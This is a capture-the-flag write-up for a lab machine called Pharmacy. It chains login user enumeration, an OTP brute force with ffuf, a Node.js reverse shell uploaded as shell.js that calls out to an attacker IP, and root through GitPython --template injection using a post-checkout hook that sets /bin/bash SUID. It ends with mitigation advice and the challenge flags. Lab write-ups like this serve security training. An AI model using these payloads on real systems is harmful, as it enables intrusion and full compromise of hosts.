Pharmacy - HC Writeup

2026-05-08·5 min read·
ctfwebnodefile-uploadotpgitpythonprivilege-escalation

Target Information

  • IP Address: 172.16.5.52
  • Difficulty: Easy
  • Tags: Web, File Upload, OTP Brute Force, Sudo Abuse, GitPython Injection

Reconnaissance

No port scan required — target exposed directly on port 3000.

Endpoint enumeration revealed:

  • /admin/login — admin panel
  • /admin/reset-password — OTP-based password reset
  • /upload — file upload (auth required)
  • /uploads/ — public static directory serving uploaded files

Web Enumeration

User Enumeration via Error Message Disclosure

The /admin/login endpoint leaks user existence through distinct error messages:

Endpoint: /admin/login

Request (non-existent user):

$http
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
 
email=nobody@pharmacy.hc&password=test

Response:

$code
User not found!

Request (valid user):

$http
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
 
email=admin@pharmacy.hc&password=test

Response:

$code
Invalid Credentials!

Domain pharmacy.hc identified from the login form placeholder. Username admin confirmed via enumeration.

Valid user: admin@pharmacy.hc


Exploitation: OTP Brute Force (No Rate Limiting)

Password Reset Flow Analysis

The /admin/reset-password flow is stateless — no session cookie is issued, state is passed via hidden form fields:

$code
Step 1: POST step=email  → validates user, renders OTP form
Step 2: POST step=otp    → validates 6-digit token + new password

Key findings:

  • No rate limiting on OTP submission
  • Invalid OTP response size = 2647 bytes (consistent fingerprint)
  • Success response = 302 redirect (34 bytes)

Brute Force with ffuf

Command:

$bash
seq -w 0 999999 > /tmp/otps.txt
 
ffuf -u http://172.16.5.52:3000/admin/reset-password \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "step=otp&email=admin@pharmacy.hc&token=FUZZ&password=Pwned123" \
  -w /tmp/otps.txt \
  -t 100 \
  -fs 2647

Result:

$code
[Status: 302, Size: 34] OTP: 876607

Password successfully reset to Pwned123.

Admin Login

Request:

$http
POST /admin/login HTTP/1.1
Host: 172.16.5.52:3000
Content-Type: application/x-www-form-urlencoded
 
email=admin@pharmacy.hc&password=Pwned123

Response:

$http
HTTP/1.1 302 Found
Location: /admin
Set-Cookie: connect.sid=s%3A...

Exploitation: Unrestricted File Upload → RCE

Upload Endpoint Discovery

Authenticated crawl with katana:

$bash
katana -u http://172.16.5.52:3000/admin \
  -H "Cookie: connect.sid=..." \
  -d 5 -jc -xhr -hl -nos -silent

Discovered /upload — multipart/form-data, field file.
Accepted formats (PDF/DOC/DOCX/XLS) enforced client-side only.

Reverse Shell

The server automatically executes .js files placed in /uploads/ (dynamic require / file watcher).

Listener:

$bash
nc -lvnp 4444

Payload (shell.js):

$javascript
(function(){
    const net=require('net'),cp=require('child_process');
    const client=new net.Socket();
    client.connect(4444,'10.0.35.83',function(){
        const sh=cp.spawn('/bin/sh',[]);
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    client.on('error',function(){});
})();

Command:

$bash
curl -X POST http://172.16.5.52:3000/upload \
  -H "Cookie: connect.sid=..." \
  -F "file=@shell.js;type=application/javascript"

Result:

$bash
[+] Got reverse shell as node@ip-172-16-5-52

Post-Exploitation

Environment Enumeration

$bash
sudo -l
cat /opt/deploy.py
ls ~/node/
cat ~/user.txt

Findings:

  • sudo rule: (ALL) NOPASSWD: /usr/bin/python3 /opt/deploy.py *
  • deploy.py uses GitPython Repo.clone_from() with user-controlled multi_options
  • User flag found at /home/node/user.txt
  • Binary traitor-amd64 present (unused)

Privilege Escalation: GitPython --template Injection

Enumeration

/opt/deploy.py accepts three arguments — repo_url, branch, and extra_opts:

$python
clone_options = [f"--branch {branch}"]
if extra_opts:
    clone_options.append(extra_opts)
 
Repo.clone_from(repo_url, dest, multi_options=clone_options)

The repo_url allowlist check is bypassed with any local directory (os.path.isdir()).
extra_opts is passed unsanitized to multi_options.

GitPython blocks --upload-pack and -c via allow_unsafe_options, but --template is not on the blocklist.

Exploitation

git clone --template=<dir> copies the template's hooks/ into the destination .git/hooks/. The post-checkout hook runs automatically after checkout — as root.

$bash
# Malicious hook
mkdir -p /tmp/tmpl/hooks
printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/tmpl/hooks/post-checkout
chmod +x /tmp/tmpl/hooks/post-checkout
 
# Valid local git repo
git -C /tmp/r config user.email "a@a.com"
git -C /tmp/r config user.name "a"
git -C /tmp/r add . && git -C /tmp/r commit -m x
git -C /tmp/r branch -m main
 
# Inject --template via extra_opts
sudo /usr/bin/python3 /opt/deploy.py /tmp/r main "--template=/tmp/tmpl"
 
# SUID bash → root
/bin/bash -p

Result:

$bash
bash-5.3# id
uid=1001(node) gid=1001(node) euid=0(root) egid=0(root)
# whoami
root

ROOT OBTAINED!


Attack Chain Summary

$code
1. User enumeration via error message disclosure
   ↓
2. OTP brute force (no rate limiting) — 876607
   ↓
3. Admin panel access + session cookie
   ↓
4. Unrestricted .js upload → auto-execution → reverse shell (node)
   ↓
5. sudo deploy.py → GitPython --template injection → post-checkout hook as root
   ↓
6. Root Access

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
User Enumeration via Error MessagesCWE-204LowValid username disclosure
Missing Rate Limiting on OTPCWE-307HighOTP brute force → account takeover
Unrestricted File UploadCWE-434CriticalRemote Code Execution
Unsafe sudo + GitPython option injectionCWE-78CriticalPrivilege Escalation to root

Mitigation Recommendations

Application Level

  1. Uniform error messages on login:

    $javascript
    // Always return the same message
    res.send("Invalid credentials.");
  2. Rate limiting on OTP endpoint:

    $javascript
    const rateLimit = require('express-rate-limit');
    app.use('/admin/reset-password', rateLimit({ windowMs: 15*60*1000, max: 10 }));
  3. Server-side file type validation:

    $javascript
    const allowed = ['.pdf', '.doc', '.docx', '.xls'];
    if (!allowed.includes(path.extname(file.originalname))) {
        return res.status(400).send('File type not allowed');
    }

System Level

  1. Restrict sudo rule — avoid wildcard:

    $bash
    # Instead of: /usr/bin/python3 /opt/deploy.py *
    # Use specific allowed repos only, remove extra_opts parameter
  2. Pass allow_unsafe_options=False and sanitize all git options before use.


Tools Used

  • ffuf — OTP brute force with response size filtering
  • katana — Authenticated web crawling
  • Burp Suite — Request analysis and replay

Flags

$code
User Flag: hackingclub{c79910fc9d70298bc653433ae6c905dd}
Root Flag: hackingclub{bbdd592283cade723bd60b6d589a9d8c}

References

CWE References:


Author: cbxcvl Date: 2026-05-08 Machine: Pharmacy


Proof of Concept Scripts

Exploit commands and requests are documented inline above. No standalone script was included in the source notes.